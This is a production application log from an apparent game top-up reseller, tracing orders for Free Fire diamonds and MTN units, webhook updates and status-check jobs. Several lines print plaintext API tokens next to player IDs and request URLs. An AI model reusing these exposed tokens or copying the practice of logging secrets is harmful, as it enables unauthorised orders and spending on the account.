[2026-03-24 12:38:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:38:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=767b75d3-764a-448c-a315-c584d9900be1&Player_ID=0954373482  
[2026-03-24 12:38:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=767b75d3-764a-448c-a315-c584d9900be1&Player_ID=0954373482","has_body":false} 
[2026-03-24 12:38:03] production.INFO: Operation sent successfully {"operation_id":163535,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-u5guo7g7-1774345083","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:38:03"}},"processed_data":{"order_number":"ORD-u5guo7g7-1774345083","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:39:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 12:39:38] production.INFO: Creating credit request {"payload":{"method_id":"2","amount":"100.0","mainamount":"100","operation_number":"7949668","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpiei9ue6r38h80KYk5jo"}},"user_id":314} 
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 12:39:39] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 12:39:39] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18607,"user_id":314,"amount":100.0,"admins_notified":7} 
[2026-03-24 12:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03"} 
[2026-03-24 12:40:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","total_operations":1,"sites_count":1} 
[2026-03-24 12:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-u5guo7g7-1774345083"]} 
[2026-03-24 12:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 12:40:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:40:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 12:40:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 12:40:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"count":1} 
[2026-03-24 12:40:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"count":1} 
[2026-03-24 12:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"user_id":619,"notification_type":"order_approved","reference_id":178610} 
[2026-03-24 12:40:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:40:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:40:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"processed":1,"errors":0} 
[2026-03-24 12:40:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535,"processed":1,"errors":0} 
[2026-03-24 12:40:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"nRIbl1cuVdCQU0DLRC2BVXlbDn9tuC4r","execution_time":"2026-03-24 12:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u5guo7g7-1774345083","operation_id":163535} 
[2026-03-24 12:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 12:40:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 12:40:06] production.INFO: async() رجع: true  
[2026-03-24 12:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:40:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:40:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 619  
[2026-03-24 12:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ikcqfVQ4fVGWHqqbnX4V2xTYXkSYFmno","execution_time":"2026-03-24 12:42:01"} 
[2026-03-24 12:42:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ikcqfVQ4fVGWHqqbnX4V2xTYXkSYFmno","execution_time":"2026-03-24 12:42:01"} 
[2026-03-24 12:42:09] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 12:42:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 12:42:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 12:42:30] production.INFO: Constructing job for order: 178611  
[2026-03-24 12:42:31] production.INFO: Handling job for order: 178611  
[2026-03-24 12:42:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:42:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:42:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=61f7be2f-f0b5-455e-911d-1187c198e5de&Player_ID=1556868089  
[2026-03-24 12:42:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=61f7be2f-f0b5-455e-911d-1187c198e5de&Player_ID=1556868089","has_body":false} 
[2026-03-24 12:42:32] production.INFO: Operation sent successfully {"operation_id":163536,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3AF-1774345352","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:42:32"}},"processed_data":{"order_number":"ORD-3AF-1774345352","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:43:00] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3AF-1774345352","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:43:00] production.INFO: Processed webhook data (normalized) {"id":"ORD-3AF-1774345352","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:43:00] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:43:00] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":178611} 
[2026-03-24 12:43:00] production.INFO: Order updated successfully. Order ID: 178611, Status: completed  
[2026-03-24 12:43:00] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3AF-1774345352","status":"completed","codes_count":0} 
[2026-03-24 12:43:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 12:43:14] production.INFO: Constructing job for order: 178612  
[2026-03-24 12:43:17] production.INFO: Handling job for order: 178612  
[2026-03-24 12:43:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:43:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:43:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1100&uuid=a806eb27-8ffe-4f23-9d98-bb31833c6af9&Player_ID=42753651  
[2026-03-24 12:43:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1100&uuid=a806eb27-8ffe-4f23-9d98-bb31833c6af9&Player_ID=42753651","has_body":false} 
[2026-03-24 12:43:18] production.INFO: Operation sent successfully {"operation_id":163537,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9yZ-1774345398","amount":1.889704519999999998702833181596361100673675537109375,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 12:43:18"}},"processed_data":{"order_number":"ORD-9yZ-1774345398","amount":1.889704519999999998702833181596361100673675537109375,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 12:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03"} 
[2026-03-24 12:44:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","total_operations":1,"sites_count":1} 
[2026-03-24 12:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9yZ-1774345398"]} 
[2026-03-24 12:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9yZ-1774345398","operation_id":163537} 
[2026-03-24 12:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9yZ-1774345398","operation_id":163537,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 12:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9yZ-1774345398","operation_id":163537,"processed":0,"errors":0} 
[2026-03-24 12:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"y2tdoSrlJGHgt8OSHaExNub2QY7WErgr","execution_time":"2026-03-24 12:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9yZ-1774345398","operation_id":163537} 
[2026-03-24 12:44:13] production.INFO: Constructing job for order: 178613  
[2026-03-24 12:44:15] production.INFO: Handling job for order: 178613  
[2026-03-24 12:44:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:44:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:44:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=687dd3bc-1ee1-4322-a397-0ac5cc484d6e&Player_ID=1556868089  
[2026-03-24 12:44:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=687dd3bc-1ee1-4322-a397-0ac5cc484d6e&Player_ID=1556868089","has_body":false} 
[2026-03-24 12:44:16] production.INFO: Operation sent successfully {"operation_id":163538,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-F9GaN6-1774345456","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:44:16"}},"processed_data":{"order_number":"ORD-F9GaN6-1774345456","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:44:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9yZ-1774345398","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:44:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-9yZ-1774345398","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:44:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:44:19] production.INFO: SendAcceptReject: Notification queued {"user_id":771,"notification_type":"order_approved","reference_id":178612} 
[2026-03-24 12:44:19] production.INFO: Order updated successfully. Order ID: 178612, Status: completed  
[2026-03-24 12:44:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9yZ-1774345398","status":"completed","codes_count":0} 
[2026-03-24 12:44:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 12:44:19] production.INFO: Constructing job for order: 178614  
[2026-03-24 12:44:22] production.INFO: Handling job for order: 178614  
[2026-03-24 12:44:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:44:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:44:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=e7c8dd42-22d7-4c5e-b6b8-977575870bc1&Player_ID=8716770833  
[2026-03-24 12:44:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=e7c8dd42-22d7-4c5e-b6b8-977575870bc1&Player_ID=8716770833","has_body":false} 
[2026-03-24 12:44:23] production.INFO: Operation sent successfully {"operation_id":163539,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nQLF-1774345463","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:44:23"}},"processed_data":{"order_number":"ORD-nQLF-1774345463","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:44:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-nQLF-1774345463","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:44:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-nQLF-1774345463","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:44:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:44:55] production.INFO: SendAcceptReject: Notification queued {"user_id":1606,"notification_type":"order_approved","reference_id":178614} 
[2026-03-24 12:44:55] production.INFO: Order updated successfully. Order ID: 178614, Status: completed  
[2026-03-24 12:44:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-nQLF-1774345463","status":"completed","codes_count":0} 
[2026-03-24 12:44:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1606  
[2026-03-24 12:45:00] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-F9GaN6-1774345456","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:45:00] production.INFO: Processed webhook data (normalized) {"id":"ORD-F9GaN6-1774345456","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:45:00] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:45:00] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":178613} 
[2026-03-24 12:45:00] production.INFO: Order updated successfully. Order ID: 178613, Status: completed  
[2026-03-24 12:45:00] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-F9GaN6-1774345456","status":"completed","codes_count":0} 
[2026-03-24 12:45:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 12:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:45:04] production.INFO: async() رجع: true  
[2026-03-24 12:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:45:14] production.INFO: Constructing job for order: 178615  
[2026-03-24 12:45:15] production.INFO: Handling job for order: 178615  
[2026-03-24 12:45:15] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:45:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:45:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=4f78a377-a8be-44f4-a90b-b8e671c495de&Player_ID=0947569349  
[2026-03-24 12:45:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=4f78a377-a8be-44f4-a90b-b8e671c495de&Player_ID=0947569349","has_body":false} 
[2026-03-24 12:45:15] production.INFO: Operation sent successfully {"operation_id":163540,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wT7NcBez-1774345515","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:45:15"}},"processed_data":{"order_number":"ORD-wT7NcBez-1774345515","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:45:48] production.INFO: Constructing job for order: 178616  
[2026-03-24 12:45:51] production.INFO: Handling job for order: 178616  
[2026-03-24 12:45:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:45:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:45:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=e0615719-e553-441e-bc5b-3c41717de08e&Player_ID=11904910223  
[2026-03-24 12:45:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=e0615719-e553-441e-bc5b-3c41717de08e&Player_ID=11904910223","has_body":false} 
[2026-03-24 12:45:52] production.INFO: Operation sent successfully {"operation_id":163541,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LTNeX6-1774345552","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:45:52"}},"processed_data":{"order_number":"ORD-LTNeX6-1774345552","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:46:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01"} 
[2026-03-24 12:46:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","total_operations":2,"sites_count":2} 
[2026-03-24 12:46:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-wT7NcBez-1774345515"]} 
[2026-03-24 12:46:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 12:46:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:46:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 12:46:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 12:46:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"count":1} 
[2026-03-24 12:46:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"count":1} 
[2026-03-24 12:46:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"user_id":5,"notification_type":"order_approved","reference_id":178615} 
[2026-03-24 12:46:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:46:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:46:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"processed":1,"errors":0} 
[2026-03-24 12:46:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"processed":1,"errors":0} 
[2026-03-24 12:46:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540,"orders_count":1,"order_ids":["ORD-LTNeX6-1774345552"]} 
[2026-03-24 12:46:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cWF66D0aDMJHJVcyYtgqdOCAbqJNOiQM","execution_time":"2026-03-24 12:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wT7NcBez-1774345515","operation_id":163540} 
